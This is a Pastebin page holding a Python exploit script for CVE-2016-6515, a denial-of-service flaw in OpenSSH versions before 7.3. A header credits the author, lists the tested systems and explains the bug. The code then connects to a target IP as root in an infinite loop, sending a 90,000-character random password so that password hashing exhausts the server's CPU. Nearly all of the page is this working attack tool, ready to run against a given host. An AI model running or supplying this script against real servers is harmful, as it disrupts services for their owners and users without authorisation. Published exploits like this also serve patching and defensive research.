Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ################################################################################
- # Title : OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
- # Author : Kashinath T (tkashinath@secpod.com) (www.secpod.com)
- # Vendor : http://www.openssh.com/
- # Software : http://www.openssh.com/
- # Version : OpenSSH before 7.3
- # Tested on : Ubuntu 16.04 LTS, Centos 7
- # CVE : CVE-2016-6515
- # Date : 20-10-2016
- #
- # NOTE:
- # If the remote machine is installed and running OpenSSH version prior to 7.3,
- # it does not limit the password length for authentication. Hence, to exploit
- # this vulnerability' we will send a crafted data which is of 90000 characters
- # in length to the 'password' field while attempting to log in to a remote
- # machine via ssh with username as 'root'.
- #
- # For more info refer,
- # http://www.secpod.com/blog/openssh-crypt-cpu-consumption
- ################################################################################
- import sys
- from random import choice
- from string import lowercase
- try:
- import paramiko
- except ImportError:
- print "[-] python module 'paramiko' is missing, Install paramiko with" \
- " following command 'sudo pip install paramiko'"
- sys.exit(0)
- class ssh_exploit:
- def __init__(self):
- """
- Initialise the objects
- """
- def ssh_login(self, remote_ip):
- try:
- # Crafted password of length 90000
- passwd_len = 90000
- crafted_passwd = "".join(choice(lowercase)
- for i in range(passwd_len))
- # Connect to a remote machine via ssh
- ssh = paramiko.SSHClient()
- ssh.load_system_host_keys()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- # calling connect in infinite loop
- print "[+] Entering infinite loop"
- while 1:
- ssh.connect(remote_ip, username='root',
- password=crafted_passwd)
- except Exception, msg:
- print "Error in connecting to remote host : ", remote_ip
- print "Exception in : ssh_login method."
- sys.exit(msg)
- def main():
- if len(sys.argv) != 2:
- print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
- sys.exit()
- # Calling ssh_connect
- ref_obj = ssh_exploit()
- ref_obj.ssh_login(sys.argv[1])
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement